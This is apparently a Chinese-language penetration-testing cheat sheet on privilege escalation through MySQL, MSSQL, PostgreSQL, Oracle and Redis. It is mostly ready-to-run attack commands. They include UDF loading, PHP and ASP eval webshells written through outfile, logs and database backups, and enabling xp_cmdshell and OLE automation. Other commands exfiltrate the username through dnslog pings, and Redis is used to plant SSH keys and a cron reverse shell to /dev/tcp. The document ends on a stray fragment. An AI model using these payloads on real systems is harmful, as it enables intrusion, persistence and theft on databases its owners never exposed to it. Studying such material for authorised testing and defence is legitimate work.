数据库提权

共 10118 字　阅读需 21 分钟

前言

因为数据库提权在内网渗透也经常使用，外网也有可能出现数据库弱口令或未授权的情况，故单独摘出来，简单总结一下遇到的提权手段和版本限制

提权目的

从数据库的DBA权限(数据库的控制权限)，提升到命令执行的权限(非root,一般是数据库用户权限)

mysql 提权

secure_file_priv限制

无论是UDF还是写文件都得有写的权限

使用 `select @@secure_file_priv;` 查看用户是否有权限

如果secure_file_priv=NULL，MYSQL服务会禁止导入和导出操作。(默认值)

如果secure_file_priv=/tmp/，MYSQL服务只能在/tmp/目录下导入和导出

如果secure_file_priv=”“ ，MYSQL服务导入和导出不做限制

UDF

UDF（user defined function）**用户自定义函数**，是 MySQL 的一个扩展接口，称为用户自定义函数，是用来拓展MySQL的技术手段，用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll或.so，常用C、C++语言编写

MySQL >= 5.1 的版本，必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 **lib\plugin文件夹**下才能创建自定义函数

1. 查找插件库的路径
   `show variables like '%plugin%'`
2. 将so文件的内容解码，写入到mysql插件库目录中
   `select unhex('so文件的16进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'` win就是dll文件
3. 创建函数
   `create function sys_eval returns string soname 'xxx.so';`
4. 执行系统命令
   `select * from mysql.func;` `select sys_eval("whoami");`

写文件的方法

现在我们已经获取了sql语句的执行权限，现在我们开始想办法上传shell

into outfile(不常用)

```
--union select写入
 union select 1,2,3,4,'<?php phpinfo() ?>' into outfile
'C:/wamp64/www/work/WebShell.php'
--lines terminated by 以每行终止的位置添加 xx 内容。
1 into outfile 'C:/wamp64/www/work/Webshell.php'
lines terminated by '<?php phpinfo() ?>';
--lines starting by 每行开始的位置添加 xx 内容
http://172.16.55.130/work/sqli-1.php?id=1 into outfile
'C:/wamp64/www/work/webshell.php' lines starting by
'<?php phpinfo() ?>';
--fields terminated by 每个字段的位置添加 xx 内容
http://172.16.55.130/work/sqli-1.php?id=1 into outfile
'C:/wamp64/www/work/webshell.php' fields terminated
by '<?php phpinfo() ?>';
```

写入日志(MySQL 5.0 版本以上会创建日志文件)

```
show variables like '%datadir%'; --查看数据库路径
-- 写入常规日志(root权限)
SHOW VARIABLES LIKE '%general%' -- 查看是否开启日志
set global general_log = "ON"; -- general_log 默认关闭，开启它可以记录用户输入的每条命令，会把其保存在对应的日志文件中
set global general_log_file ='C:/InstalledSoftware/phpstudy_pro/WWW/58/public/config.php'; -- 设置日志路径为网站根目录

-- 写入慢查询日志(root)
set GLOBAL slow_query_log="ON"; -- 开启慢查询日志
set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';  -- 修改慢查询日志存储路径
select "<?php @eval($_POST[abc]); ?>" from mysql.db where sleep(5); -- 写入shell(慢查询只记录，查询时间超过5秒的操作)
```

其他位置

MOF

MOF 提权是一个有历史的漏洞，基本上在 **Windows Server 2003** 的环境下才可以成功。提权的原理是 `C:/Windows/system32/wbem/mof/` 目录下的 mof 文件每隔一段时间（几秒钟左右）都会被系统执行

启动项

往启动项路径里面写入脚本，可以利用 **vbs** 执行一些 CMD 命令

```
# Windows Server 2003 的启动项路径：
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

# Windows Server 2008 的启动项路径：
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
```

MSSQL(sqlserver)数据库提权

在 SQL Server 中，**扩展存储过程**（Extended Stored Procedures）是允许 SQL Server 调用外部程序（通常是 DLL 文件）的机制

以下要求当前用户必须具有 **DBA权限(sa用户)**

```
-- 首先判断当前是否为DBA权限，为1则可以提权
select is_srvrolemember('sysadmin');
SELECT 1 where 1=CHAR(70+(select IS_SRVROLEMEMBER('sysadmin'))) --报错注入，G为1，F为0
```

xp_cmdshell(sql server 2005版本以后默认关闭)

xp_cmdshell 是 Sql Server 中的一个组件，我们可以用它来执行系统命令，任何输出都作为文本返回

判断环境

```
--判断xp_cmdshell是否存在
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell';
--可以执行下面的命令进行恢复
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
exec sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';

--判断 xp_cmdshell 是否开启
EXEC sp_configure 'xp_cmdshell';--config_value 这一列 如果写着 1 表示开启，如果写着 0 表示关闭
```

命令执行

```
--打开显示高级配置选项
exec sp_configure 'show advanced options',1 ;
reconfigure;
--设置允许 SQL Server 执行操作系统命令
exec sp_configure 'xp_cmdshell',1 ;
reconfigure;
--执行系统命令
exec master..xp_cmdshell 'whoami';
```

SP_OACreate(Ole Automation Procedures)

OLE Automation 是一种允许应用程序通过 OLE（对象链接和嵌入）技术与其他应用程序和服务进行交互的机制。它主要用于在不同的应用程序之间实现**对象的创建和操作**，使得在一个应用程序中可以控制另一个应用程序的功能

```
--判断SP_OACREATE是否存在
select count(*) from master.dbo.sysobjects where
xtype='x' and name='SP_OACREATE';
-- 开启组件
EXEC sp_configure 'show advanced options',1
EXEC sp_configure reconfigure
EXEC sp_configure 'Ole Automation Procedures',1
EXEC sp_configure reconfigure
```

执行命令

```
--wscript.shell执行命令
--有回显的命令执行
DECLARE @object INT, @object2 INT, @object3 INT,
@str VARCHAR(8000)
EXEC sp_OACreate 'WScript.Shell', @object OUTPUT
EXEC sp_OAMethod @object, 'exec', @object2 OUTPUT,
'cmd.exe /c whoami'
EXEC sp_OAMethod @object2, 'StdOut', @object3
OUTPUT
EXEC sp_OAMethod @object3, 'readall', @str OUTPUT
SELECT @str;

--无回显可联网的命令执行
DECLARE @o INT;EXEC sp_oacreate 'wscript.shell', @o
OUT; EXEC sp_oamethod @o, 'run', NULL, 'cmd.exe /c
ping 9b1x4s.dnslog.cn';

--无回显不能联网的命令执行(可判断是否执行成攻)
DECLARE @o INT; DECLARE @r INT = 0;
EXEC sp_oacreate 'wscript.shell', @o OUT;
EXEC sp_oamethod @o, 'run', NULL, 'cmd.exe /c echo
"test123">e:log921.txt exit 0';
SET @r = CASE WHEN @@ERROR = 0 THEN 1 ELSE 0
END;
IF @r = 1 WAITFOR DELAY '0:0:5';
```

写文件

```
--Scripting.FileSystemObject写文件
DECLARE @object INT, @object2 INT
EXEC Sp_OACreate 'Scripting.FileSystemObject',
@object OUTPUT
EXEC sp_OAMethod @object,'CreateTextFile', @object2
OUTPUT, 'e:\123', 1
EXEC sp_OAMethod @object2, 'WriteLine', NULL,
'test123'

--ADODB.Stream写文件
DECLARE @object INT
EXEC Sp_OACreate 'ADODB.Stream', @object OUTPUT
EXEC Sp_OASetProperty @object, 'Type', 1
EXEC sp_OASetProperty @object, 'Mode', 3
EXEC sp_OAMethod @object, 'Open', NULL
EXEC sp_OAMethod @object, 'Write', NULL,
0x3c3f706870204065766616c28245f504f53545b636d64
5d293b3f3e
EXEC sp_OAMethod @object, 'SaveToFile', NULL,
'e:\shell.php', 2
EXEC sp_OAMethod @object, 'Close', NULL
EXEC sp_OADestroy @object
```

Agent Job 代理执行计划任务

SQL Server Agent 默认情况下仅在 SQL Server 的 标准版 和 企业版 中启用

```
-- 开启 sqlagent 服务
exec master.dbo.xp_servicecontrol
'start','SQLSERVERAGENT';

--利用计划任务命令执行,由于是无回显，可以使用dnslog外带
use msdb;
exec sp_delete_job null,'test'
exec sp_add_job 'test'
exec sp_add_jobstep
null,'test',null,'1','cmdexec','cmd.exe /c "ping %USERNAME%.txg4wa.dnslog.cn"'
exec sp_add_jobserver null,'test',@@servername
exec sp_start_job 'test';
```

利用备份功能写文件

获取文件路径

```
--有回显
--获得当前所有驱动器
exec xp_availablemedia;
-- 只列 c:\ 文件夹
exec xp_dirtree 'c:',1
exec xp_subdirs "C:\\"
-- 列 c:\ 文件夹加文件
exec xp_dirtree 'c:',1,1
-- 列出所有 c:\ 文件和目录,子目录,内容会很多,慎用
exec xp_dirtree 'c:'

--无回显
CREATE TABLE cmdtmp (dir varchar(8000));
insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r
e:\ %i in (xls_lr.aspx) do @echo %i'
```

写入shell

差异备份拿shell

```
--创建新数据库test
create database test123;
-- 生成差异备份文件
backup database test123 to disk = 'e:\bak.bak';
use test123;
-- 创建了一个名为 test 的表，并在该表中定义了一个名为 cmd 的列，其数据类型为 image。在 SQL Server 中，image 数据类型是用来存储二进制数据的
create table [dbo].[test] ([cmd] [image]);
-- 插入一句话：<%execute(request("a"))%>
insert into test(cmd)
values(0x3C25657865637574652872657175657374282261222929253E);
-- DIFFERENTIAL选项表示差异备份只包含自上次备份后的数据变化，不会重复完整备份的数据。
backup database test123 to disk='e:\shell.asp' WITH DIFFERENTIAL,FORMAT;--本地测试1599kb
```

log备份拿shell

```
DROP DATABASE test_db_9;

create database test_db_9;
alter database test_db_9 set RECOVERY FULL;
backup database test_db_9 to disk = 'E:\危化品管理系统2022版\PC\\test_db_9.bak';

use test_db_9;
create table test_table(cmd image);
insert into test_table(cmd) values('<%@ Page Language="Jscript"%>
<%eval(Request.Item["chopper"],"unsafe");%>');
backup log test_db_9 to disk = 'E:\危化品管理系统2022版\PC\\test9.aspx'--本地测试大小为147kb
```

PostgreSQL提权

PostgreSQL 是开源的关系数据库，适合需要复杂查询、高度数据完整性和扩展性的应用，如金融服务、GIS 应用

```
SELECT setting FROM pg_settings WHERE name = 'data_directory'; --获取安装目录
SELECT setting FROM pg_settings WHERE name = 'config_file'; --获取配置文件目录
select inet_server_addr() --获取Postgres内网ip地址
```

写文件

```
copy  (select '<?php phpinfo();?>') to 'C:/temp/1.php';
--或
select lo_from_bytea(12349,'ffffffff0x');
SELECT lo_export(12349, '/tmp/ffffffff0x.txt');
```

CVE-2019-9193(9.3-11.2)

PostpreSQL 9.3-11.2 允许经过身份验证的**superuser**或者**pg_read_server_files**组用户执行任意命令(获得PostgreSQL用户权限)

```
select * from current_user;
SELECT * FROM pg_roles;--列出数据库中的所有角色及其属性

DROP TABLE IF EXISTS cmd_exec; -- 删除你想用来保存命令输出但是可能存在的表
CREATE TABLE cmd_exec(cmd_output text);      -- 创建用来保存命令输出的表
COPY cmd_exec FROM PROGRAM 'whoami';    -- 执行系统命令
SELECT * FROM cmd_exec;     -- 结果显示
```

Oracle提权

DBA: 拥有全部特权，是系统最高权限，只有DBA才可以创建数据库结构。

对于普通用户：授予connect, resource权限。

对于DBA管理用户：授予connect，resource, dba权限

1. 通过注入存储过程提权（低权限提升至DBA）

2. 通过utl_http.request存储过程提权

（1）创建Java包

（2）创建存储过程MYJAVACMD

（3）执行存储过程，成功添加用户

redis提权

写文件

利用redis写webshell(需要知道web的绝对路径)

```
redis-cli -h 192.168.111.133
info #获取redis.conf的绝对路径
config set dir /var/www/html
config set dbfilename shell.php
set xxx "\r\n\r\n<?php @eval($_POST[shell]);?>\r\n\r\n"
#用redis写入备份的时候会自带一些版本信息，如果不换行可能会导致无法执行
save
```

利用redis写ssh公钥

```
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n")
> /root/.ssh/key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.111.133 -x set
xxx
#-x 代表从标准输入读取数据作为该命令的最后一个参数
redis-cli -h 192.168.111.133
config set dir /root/.ssh
config set dbfilename authorized_keys
save
```

利用redis写计划任务

```
redis-cli -h 192.168.111.133
set xxx "\n\n*/1 * * * * /bin/bash -
i>&/dev/tcp/192.168.111.128/6666 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
```

Redis 主从复制

写的利用redis的**备份功能**，主从复制利用的是redis **读写分离的机制**

利用一**无损写文件**：

当**Redis>=2.8**时，支持主从复制(master/slave模式)功能，通过主从复制Redis-slave会将Redis-master的数据库文件同步到本地

```
python3 RedisWriteFile.py --rhost=[target_ip] --
rport=[target_redis_port] --lhost=
```

```
[evil_master_host] --lport=[random] --rpath="
[path_to_write]" --rfile="[filename]" --lfile=
[filename]
```

利用二直接getshell：

在**Reids 4.x**之后，Redis新增了模块功能，通过外部拓展，可以在Redis中实现一个新的Redis命令。我们可以通过外部拓展(.so)

```
python3 redis-rogue-server.py --rhost 192.168.111.133
--lhost 192.168.111.1
python3 redis-rce.py -r 192.168.111.133 -L
192.168.111.1 -f exp.so
```

Redis在Windows下的利用

Windows的Redis最新版本还停留在3.2，所以利用主从复制直接getshell没戏

1. 写web shell(前提是需要知道web的绝对路径)
2. 写启动项的话(需要机器重启)
3. 利用主从写无损文件dll劫持(Redis>=2.8)

```
python3 RedisWriteFile.py --
rhost=192.168.56.140 --rport=6379 --
lhost=192.168.56.1 --rpath="C:\Windows" --
rfile="mstlsapi.dll" --
lfile="/tmp/mstlsapiJ.dll"
```

```
# server
```